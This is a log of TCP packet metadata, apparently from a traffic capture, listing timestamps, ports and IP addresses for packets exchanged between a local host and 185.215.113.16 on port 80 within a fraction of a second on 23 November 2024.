Nov 23, 2024 15:22:32.066849947 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.067188978 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.067553043 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.067610025 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.067679882 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.067679882 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.068950891 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.069073915 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.069103003 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.069367886 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.070456982 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.070622921 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.070631027 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.070754051 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.071911097 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.072021961 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.072033882 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.072154045 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.073348045 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.073435068 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.073479891 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.073877096 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.074779987 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.074834108 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.074930906 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.074930906 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.084664106 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.084755898 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.084805012 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.084959030 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.085252047 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.085354090 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.085361958 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.085529089 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.086601019 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.086724043 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.086729050 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.086790085 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.087893009 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.087984085 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.088016033 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.088099003 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.089143038 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.089317083 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.089401960 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.089481115 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.090432882 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.090560913 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.090583086 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.090761900 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.091722965 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.091814041 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.091878891 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.092093945 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.093012094 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.093097925 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.093141079 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.093302965 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.094325066 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.094458103 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.094465971 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.094557047 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.095724106 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.095832109 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.095892906 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.095993042 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.096875906 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.096959114 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.097126961 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.097203970 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.098216057 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.098340988 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.098407984 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.098407984 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.099486113 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.099594116 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.099597931 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.099766016 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.100775957 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.100866079 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.100946903 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.101035118 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.102076054 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.102227926 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.102237940 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.102323055 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.103383064 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.103481054 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.103538036 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.103666067 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.104662895 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.104746103 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.104794025 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.104897022 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.105967045 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.106117010 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.106118917 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.106223106 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.107302904 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.107371092 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.107413054 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.107465982 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.108581066 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.108685970 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.108763933 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.108819962 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.109819889 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.109905958 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.109973907 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.110044956 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.111099005 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.111176014 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.111229897 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.111332893 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.112401962 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.112485886 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.112546921 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.112647057 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.113724947 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.113822937 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.113888979 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.113888979 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.114989042 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.115108967 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.115108967 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.115180016 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.116290092 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.116408110 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.116435051 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.116579056 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.117575884 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.117683887 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.117723942 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.117770910 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.118865013 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.118944883 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.118968010 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.119045019 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.120172024 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.120249987 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.120279074 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.120465040 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.121453047 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.121546030 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.121567011 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.121644020 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.122788906 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.122878075 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.122945070 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.123042107 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.124146938 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.124202013 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.124237061 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.124296904 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.125453949 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.125505924 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.125557899 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.125647068 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.126642942 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.126723051 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.126737118 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.126841068 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.127928019 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.128029108 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.128058910 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.128139019 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.129216909 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.129369974 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.129435062 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.129537106 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.130526066 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.130647898 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.130656004 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.130749941 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.131807089 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.131989956 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.132040024 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.132134914 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.133112907 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.133198023 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.133238077 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.133371115 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.134390116 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.134494066 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.134504080 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.134649992 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.135674953 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.135802031 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.135811090 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.135883093 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.136940002 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.137073040 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.137088060 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.137145996 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.138243914 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.138380051 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.138389111 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.138601065 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.139564991 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.139658928 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.139698982 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.139784098 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.140834093 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.140968084 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.140969038 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.141060114 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.142136097 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.142245054 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.142258883 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.142462969 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.143436909 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.143520117 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.259089947 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.259213924 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.259447098 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.259712934 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.259830952 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.259880066 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.260019064 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.261010885 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.261045933 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.261095047 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.261176109 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.262156010 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.262212038 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.262250900 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.262309074 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.263400078 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.263520956 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.263529062 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.263613939 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.264602900 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.264719009 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.264733076 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.265135050 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.265825033 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.265939951 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.265940905 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.266016006 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.276782036 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.276851892 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.276907921 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.276943922 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.277348995 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.277429104 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.277477026 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.277539015 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.278536081 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.278618097 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.278665066 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.278753042 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.279764891 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.279819965 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.279844999 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.279906988 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.280971050 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.281085968 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.281105042 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.281183004 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.282126904 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.282203913 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.282244921 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.282478094 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.283286095 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.283363104 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.283435106 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.283503056 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.284444094 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.284498930 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.284574032 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.284574032 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.285646915 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.285788059 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.285825968 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.285864115 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.286830902 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.286914110 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.286953926 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.287170887 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.288017035 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.288089991 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.288151026 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.288867950 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.289180994 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.289271116 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.289310932 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.289433002 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.290364981 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.290465117 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.290505886 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.290618896 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.291574001 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.291686058 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.291688919 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.291764021 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.292738914 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.292814016 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.292896986 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.292993069 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.293958902 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.294051886 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.294066906 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.294151068 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.295109987 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.295165062 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.295208931 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.295253992 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.296291113 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.296416044 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.296453953 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.296546936 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.297475100 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.297558069 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.297601938 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.297691107 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.298659086 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.298836946 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.298880100 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.298971891 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.299850941 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.299961090 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.299964905 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.300052881 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.301018953 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.301156998 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.301181078 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.301264048 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.302202940 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.302292109 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.302321911 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.302459002 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.303442001 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.303525925 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.303555965 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.303628922 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.304584980 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.304703951 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.305756092 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.305800915 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.305881023 CET	80	49823	185.215.113.16	192.168.2.4
